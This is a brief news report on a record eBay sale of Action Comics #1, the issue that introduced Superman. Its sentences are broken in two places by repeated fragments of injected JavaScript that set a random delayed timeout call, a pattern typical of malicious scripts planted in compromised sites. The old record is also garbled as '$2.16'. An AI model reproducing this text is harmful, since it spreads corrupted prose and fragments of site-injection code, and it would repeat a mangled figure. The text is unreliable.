ONLINE – It’s a bird .. it’s a plane.. it’s … a new auction record! Pristine Comics sold a copy of Action Comics #1 published in June 1938 — that introduced Superman — in an eBay auction that ended Sunday, August 24, at $3,207,852.

After much presale attention, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and ten days of intense bidding that drew 48 bidders, the comic broke the old record of $2.16 set by another copy of Action Comics #1 in November 2011.

This copy, having “white pages” from being kept in storage for decades, is described as “museum-quality” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the finest known of the 100 or so extant copies of this comic, according to Comic Book Resources, which also noted only about 30 copies are in unrestored condition as was this copy.

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